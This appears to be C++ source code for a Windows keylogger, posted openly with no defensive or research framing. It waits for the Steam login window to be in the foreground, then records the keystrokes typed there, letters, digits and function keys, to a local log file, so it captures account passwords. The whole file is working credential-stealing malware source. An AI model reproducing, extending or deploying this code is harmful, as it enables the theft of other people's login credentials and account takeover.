./c0de/c/steamlog.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
#include <windows.h>
#include <stdio.h>
#include <fstream>
#include <iostream>
 
using namespace std;
 
short character;
bool running = true;
 
BOOL GetSteam();
char filename[256] = "C:\\helden.log";
bool bFirst = false;
int main(void)
{
GetSteam();
 
return 0;
}
 
BOOL GetSteam() {
 
start:
while(GetForegroundWindow() != FindWindow(NULL, "Login - Steam"))
{
if(!bFirst) {
cout<<"\nwait for \"steam - login\" window\n";
bFirst = true;
}
Sleep(20);
}
 
cout<<"\nsteam window found\n";
printf("logging to %s started", filename);
 
 
 
while(running)
{
if(GetForegroundWindow() != FindWindow(NULL, "Login - Steam"))
{
if(bFirst) {
 
cout<<"\ngoto start and wait for the window\n";
 
bFirst = false;
}
goto start;
}
for(character=8;character<=222;character++) /* found this function somewhere credit??*/
{
if(GetAsyncKeyState(character)==-32767)
{
ofstream stuff;
stuff.open(filename, ofstream::out | ofstream::app);
 
switch(character)
{
case VK_SPACE:
stuff << "[space]";
break;
case VK_NUMPAD0:
stuff << "0";
break;
case VK_NUMPAD1:
stuff << "1";
break;
case VK_NUMPAD2:
stuff << "2";
break;
case VK_NUMPAD3:
stuff << "3";
break;
case VK_NUMPAD4:
stuff << "4";
break;
case VK_NUMPAD5:
stuff << "5";
break;
case VK_NUMPAD6:
stuff << "6";
break;
case VK_NUMPAD7:
stuff << "7";
break;
case VK_NUMPAD8:
stuff << "8";
break;
case VK_NUMPAD9:
stuff << "9";
break;
case VK_F1:
stuff << "F1";
break;
case VK_F2:
stuff << "F2";
break;
case VK_F3:
stuff << "F3";
break;
case VK_F4:
stuff << "F4";
break;
case VK_F5:
stuff << "F5";
break;
case VK_F6:
stuff << "F6";
break;
case VK_F7:
stuff << "F7";
break;
case VK_F8:
stuff << "F8";
break;
case VK_F9:
stuff << "F9";
break;
case VK_F10:
stuff << "F10";
break;
case VK_F11:
stuff << "F11";
break;
case VK_F12:
stuff << "F12";
break;
case 65:
stuff << "a";
break;
case 66:
stuff << "b";
break;
case 67:
stuff << "c";
break;
case 68:
stuff << "d";
break;
case 69:
stuff << "e";
break;
case 70:
stuff << "f";
break;
case 71:
stuff << "g";
break;
case 72:
stuff << "h";
break;
case 73:
stuff << "i";
break;
case 74:
stuff << "j";
break;
case 75:
stuff << "k";
break;
case 76:
stuff << "l";
break;
case 77:
stuff << "m";
break;
case 78:
stuff << "n";
break;
case 79:
stuff << "o";
break;
case 80:
stuff << "p";
break;
case 81:
stuff << "q";
break;
case 82:
stuff << "r";
break;
case 83:
stuff << "s";
break;
case 84:
stuff << "t";
break;
case 85:
stuff << "u";
break;
case 86:
stuff << "v";
break;
case 87:
stuff << "w";
break;
case 88:
stuff << "x";
break;
case 89:
stuff << "y";
break;
case 90:
stuff << "z";
break;
 
}
}
 
}
Sleep(20);
}
return 1;
} 

Back